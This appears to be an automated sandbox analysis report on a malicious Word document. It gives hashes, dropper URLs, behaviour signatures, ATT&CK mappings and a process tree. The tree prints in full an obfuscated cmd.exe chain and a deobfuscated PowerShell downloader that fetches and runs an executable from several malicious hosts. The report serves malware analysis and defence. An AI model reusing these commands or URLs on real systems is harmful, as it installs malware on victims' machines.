df4776a1720feb2cdd8fcc4a91b298854bea7a86e172485cc64c318e4cbad89a

General

Target

19ebd314b039cce609724b9e42a9257f_JaffaCakes118.doc
Size

238KB
MD5

19ebd314b039cce609724b9e42a9257f
SHA1

2238cc692817a82f557ee4b9731658e9c9154b18
SHA256

df4776a1720feb2cdd8fcc4a91b298854bea7a86e172485cc64c318e4cbad89a
SHA512

77f63e04b9600a4a915ce5728e32739c7a39cab5e303ff6472115a00ce57a773b6238fb02f0c6f251fb3dd8a5ece4a38031b41898f4ab6fc04af7acd7e77b3e3
SSDEEP

3072:7Ttrd7SmTEFDGcmFsRGXtHjVJ/UjL/xSu90OoiLuDKZXfwKeljR1X:7TtrdGmU6sA9HRJ/ixUOmD+XfwLD

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tolanimusic.com/FgGLYFx2fxkRLqu_ns1avpR1Z

exe.dropper

http://techfactory.pk/d0vjo7vRJw26C_G3JYE01qG

exe.dropper

http://wozup.org/xhcaRjfp3m4KS_HnX

exe.dropper

http://bentom.ru/1Bl14v64v9_POmBW662

exe.dropper

http://13r.lg.ua/IsvJO35t6kj

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3692	1936	cmd.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
37	3972	powershell.exe
39	3972	powershell.exe
47	3972	powershell.exe
51	3972	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3692	cmd.exe
3768	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1936	WINWORD.EXE
1936	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3972	powershell.exe
3972	powershell.exe
3972	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3972	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1936	WINWORD.EXE
1936	WINWORD.EXE
1936	WINWORD.EXE
1936	WINWORD.EXE
1936	WINWORD.EXE
1936	WINWORD.EXE
1936	WINWORD.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 3692	1936	WINWORD.EXE	87
PID 1936 wrote to memory of 3692	1936	WINWORD.EXE	87
PID 3692 wrote to memory of 3768	3692	cmd.exe	89
PID 3692 wrote to memory of 3768	3692	cmd.exe	89
PID 3768 wrote to memory of 2212	3768	cmd.exe	99
PID 3768 wrote to memory of 2212	3768	cmd.exe	99
PID 3768 wrote to memory of 3928	3768	cmd.exe	100
PID 3768 wrote to memory of 3928	3768	cmd.exe	100
PID 3928 wrote to memory of 1728	3928	cmd.exe	101
PID 3928 wrote to memory of 1728	3928	cmd.exe	101
PID 1728 wrote to memory of 3596	1728	cmd.exe	102
PID 1728 wrote to memory of 3596	1728	cmd.exe	102
PID 1728 wrote to memory of 4676	1728	cmd.exe	103
PID 1728 wrote to memory of 4676	1728	cmd.exe	103
PID 3928 wrote to memory of 2732	3928	cmd.exe	104
PID 3928 wrote to memory of 2732	3928	cmd.exe	104
PID 2732 wrote to memory of 3972	2732	cmd.exe	105
PID 2732 wrote to memory of 3972	2732	cmd.exe	105

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\19ebd314b039cce609724b9e42a9257f_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set hJgH=5NmRJatXg6\%o,Bzd$q.F(sDE2;:SxZ)_fU-9/c'e=}uLjWTl+@IykK~Pw73b{i4n0Ypv1CHrGhM AO&&for %8 in (67,12,57,11,56,34,14,44,51,70,27,55,0,13,69,11,72,11,28,24,28,28,51,78,1,1,77,75,24,27,55,35,63,13,69,11,74,11,47,24,75,56,27,55,35,59,13,69,11,48,48,76,17,64,6,2,43,41,39,45,2,6,60,39,26,17,15,72,15,33,41,64,40,57,35,12,60,45,40,38,6,76,1,40,6,19,46,40,60,70,48,62,40,64,6,26,17,33,12,57,67,53,41,39,74,6,6,67,27,37,37,6,12,48,5,64,62,2,43,22,62,38,19,38,12,2,37,20,8,73,44,66,20,29,25,33,29,53,3,44,18,43,32,64,22,69,5,68,67,3,69,30,50,74,6,6,67,27,37,37,6,40,38,74,33,5,38,6,12,72,52,19,67,53,37,16,65,68,45,12,58,68,3,4,57,25,9,70,32,73,59,4,66,24,65,69,18,73,50,74,6,6,67,27,37,37,57,12,15,43,67,19,12,72,8,37,29,74,38,5,3,45,33,67,59,2,63,54,28,32,71,64,7,50,74,6,6,67,27,37,37,60,40,64,6,12,2,19,72,43,37,69,14,48,69,63,68,9,63,68,36,32,56,78,2,14,46,9,9,25,50,74,6,6,67,27,37,37,69,59,72,19,48,8,19,43,5,37,51,22,68,4,78,59,0,6,9,53,45,39,19,28,67,48,62,6,21,39,50,39,31,26,17,64,18,38,33,41,39,62,2,67,74,45,39,26,17,15,22,57,67,57,76,41,76,39,9,25,65,39,26,17,33,6,2,67,41,39,62,43,15,60,48,39,26,17,38,12,60,74,41,17,40,64,68,27,6,40,2,67,49,39,10,39,49,17,15,22,57,67,57,49,39,19,40,29,40,39,26,33,12,72,40,5,38,74,21,17,68,57,72,57,15,76,62,64,76,17,33,12,57,67,53,31,61,6,72,52,61,17,15,72,15,33,19,23,12,57,64,48,12,5,16,20,62,48,40,21,17,68,57,72,57,15,13,76,17,38,12,60,74,31,26,17,12,12,57,62,2,41,39,48,33,57,64,39,26,51,33,76,21,21,73,40,6,35,51,6,40,2,76,17,38,12,60,74,31,19,48,40,64,8,6,74,76,35,8,40,76,63,65,65,65,65,31,76,61,51,64,68,12,53,40,35,51,6,40,2,76,17,38,12,60,74,26,17,12,6,2,33,53,41,39,6,16,2,5,39,26,60,72,40,5,53,26,42,42,38,5,6,38,74,61,42,42,17,48,57,6,18,5,41,39,15,6,57,72,57,39,26,86)do set loL=!loL!!hJgH:~%8,1!&&if %8 equ 86 echo !loL:*loL!=!|FOR /F "delims=G=Yf tokens=2" %B IN ('assoc^^^|findstr mdfi')DO %B "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\cmd.exe
    CmD /V/C"set hJgH=5NmRJatXg6\%o,Bzd$q.F(sDE2;:SxZ)_fU-9/c'e=}uLjWTl+@IykK~Pw73b{i4n0Ypv1CHrGhM AO&&for %8 in (67,12,57,11,56,34,14,44,51,70,27,55,0,13,69,11,72,11,28,24,28,28,51,78,1,1,77,75,24,27,55,35,63,13,69,11,74,11,47,24,75,56,27,55,35,59,13,69,11,48,48,76,17,64,6,2,43,41,39,45,2,6,60,39,26,17,15,72,15,33,41,64,40,57,35,12,60,45,40,38,6,76,1,40,6,19,46,40,60,70,48,62,40,64,6,26,17,33,12,57,67,53,41,39,74,6,6,67,27,37,37,6,12,48,5,64,62,2,43,22,62,38,19,38,12,2,37,20,8,73,44,66,20,29,25,33,29,53,3,44,18,43,32,64,22,69,5,68,67,3,69,30,50,74,6,6,67,27,37,37,6,40,38,74,33,5,38,6,12,72,52,19,67,53,37,16,65,68,45,12,58,68,3,4,57,25,9,70,32,73,59,4,66,24,65,69,18,73,50,74,6,6,67,27,37,37,57,12,15,43,67,19,12,72,8,37,29,74,38,5,3,45,33,67,59,2,63,54,28,32,71,64,7,50,74,6,6,67,27,37,37,60,40,64,6,12,2,19,72,43,37,69,14,48,69,63,68,9,63,68,36,32,56,78,2,14,46,9,9,25,50,74,6,6,67,27,37,37,69,59,72,19,48,8,19,43,5,37,51,22,68,4,78,59,0,6,9,53,45,39,19,28,67,48,62,6,21,39,50,39,31,26,17,64,18,38,33,41,39,62,2,67,74,45,39,26,17,15,22,57,67,57,76,41,76,39,9,25,65,39,26,17,33,6,2,67,41,39,62,43,15,60,48,39,26,17,38,12,60,74,41,17,40,64,68,27,6,40,2,67,49,39,10,39,49,17,15,22,57,67,57,49,39,19,40,29,40,39,26,33,12,72,40,5,38,74,21,17,68,57,72,57,15,76,62,64,76,17,33,12,57,67,53,31,61,6,72,52,61,17,15,72,15,33,19,23,12,57,64,48,12,5,16,20,62,48,40,21,17,68,57,72,57,15,13,76,17,38,12,60,74,31,26,17,12,12,57,62,2,41,39,48,33,57,64,39,26,51,33,76,21,21,73,40,6,35,51,6,40,2,76,17,38,12,60,74,31,19,48,40,64,8,6,74,76,35,8,40,76,63,65,65,65,65,31,76,61,51,64,68,12,53,40,35,51,6,40,2,76,17,38,12,60,74,26,17,12,6,2,33,53,41,39,6,16,2,5,39,26,60,72,40,5,53,26,42,42,38,5,6,38,74,61,42,42,17,48,57,6,18,5,41,39,15,6,57,72,57,39,26,86)do set loL=!loL!!hJgH:~%8,1!&&if %8 equ 86 echo !loL:*loL!=!|FOR /F "delims=G=Yf tokens=2" %B IN ('assoc^^^|findstr mdfi')DO %B "
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $ntmu='jmtb';$zrzf=new-object Net.WebClient;$fowpk='http://tolanimusic.com/FgGLYFx2fxkRLqu_ns1avpR1Z@http://techfactory.pk/d0vjo7vRJw26C_G3JYE01qG@http://wozup.org/xhcaRjfp3m4KS_HnX@http://bentom.ru/1Bl14v64v9_POmBW662@http://13r.lg.ua/IsvJO35t6kj'.Split('@');$nqcf='imphj';$zswpw = '620';$ftmp='iuzbl';$cobh=$env:temp+'\'+$zswpw+'.exe';foreach($vwrwz in $fowpk){try{$zrzf.DownloadFile($vwrwz, $cobh);$oowim='lfwn';If ((Get-Item $cobh).length -ge 40000) {Invoke-Item $cobh;$otmfk='tdma';break;}}catch{}}$lwtqa='ztwrw';"
      4⤵
      PID:2212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=G=Yf tokens=2" %B IN ('assoc^|findstr mdfi') DO %B "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3928
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c assoc|findstr mdfi
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1728
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" assoc"
        6⤵
        
        PID:3596
      - C:\Windows\system32\findstr.exe
        
        findstr mdfi
        6⤵
        
        PID:4676
    - - C:\Windows\system32\cmd.exe
        
        cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2732
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $ntmu='jmtb';$zrzf=new-object Net.WebClient;$fowpk='http://tolanimusic.com/FgGLYFx2fxkRLqu_ns1avpR1Z@http://techfactory.pk/d0vjo7vRJw26C_G3JYE01qG@http://wozup.org/xhcaRjfp3m4KS_HnX@http://bentom.ru/1Bl14v64v9_POmBW662@http://13r.lg.ua/IsvJO35t6kj'.Split('@');$nqcf='imphj';$zswpw = '620';$ftmp='iuzbl';$cobh=$env:temp+'\'+$zswpw+'.exe';foreach($vwrwz in $fowpk){try{$zrzf.DownloadFile($vwrwz, $cobh);$oowim='lfwn';If ((Get-Item $cobh).length -ge 40000) {Invoke-Item $cobh;$otmfk='tdma';break;}}catch{}}$lwtqa='ztwrw';
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\620.exe

Filesize
69KB

MD5
1d89f76e31a48db4d54184f7f7d81751

SHA1
833ae6f1cdbdbf1d809fdad9e99909c478202412

SHA256
db9d128de1a50e81afaba8bcc2a720e0d5d5026780acf7b62ead930ffe412473

SHA512
056f9fbfae7c43ef99db793420dc32f4a35e4fa41dfeeecaef1db8a163bb20c2bf82368587f7a287187c73ca999ae045c4fa262f594e9781a7c12d2829c6d0eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8C8B.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_burxyyzf.llu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1936-10-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-573-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-6-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-8-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-9-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-2-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-13-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-12-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-16-0x00007FFA65350000-0x00007FFA65360000-memory.dmp

Filesize
64KB

Download
memory/1936-15-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-14-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-11-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-7-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-17-0x00007FFA65350000-0x00007FFA65360000-memory.dmp

Filesize
64KB

Download
memory/1936-0-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-39-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-5-0x00007FFAA790D000-0x00007FFAA790E000-memory.dmp

Filesize
4KB

Download
memory/1936-35-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-34-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-1-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-4-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-3-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-543-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-544-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-545-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-546-0x00007FFAA7870000-0x00007FFAA7A65000-memory.dmp

Filesize
2.0MB

Download
memory/1936-570-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-571-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-572-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/1936-569-0x00007FFA678F0000-0x00007FFA67900000-memory.dmp

Filesize
64KB

Download
memory/3972-41-0x000001C8DE410000-0x000001C8DE432000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads